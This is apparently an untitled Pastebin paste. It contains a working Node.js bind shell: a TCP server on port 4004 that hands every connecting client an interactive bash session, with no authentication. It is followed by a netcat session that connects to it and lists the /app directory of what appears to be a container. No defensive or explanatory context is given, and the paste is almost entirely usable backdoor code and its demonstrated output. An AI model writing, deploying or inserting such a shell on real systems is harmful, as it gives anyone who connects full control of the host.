Advertisement
Guest User

Untitled

a guest
Jun 20th, 2019
79
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.35 KB | None | 0 0
  1. const net = require('net');
  2. const cp = require('child_process');
  3.  
  4. const server = net.createServer(s => {
  5.  
  6. const bash = cp.spawn('bash');
  7. s.pipe(bash.stdin, {end:false});
  8. bash.stdout.pipe(s);
  9. bash.stderr.pipe(s);
  10.  
  11.  
  12. });
  13.  
  14.  
  15. server.listen('4004');
  16.  
  17. nc localhost 4004
  18.  
  19. pwd
  20. /app
  21.  
  22. ls -a
  23. .
  24. ..
  25. Dockerfile
  26. main.js
  27. run.sh
  28.  
  29.  
  30. ^[[B^[[A
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement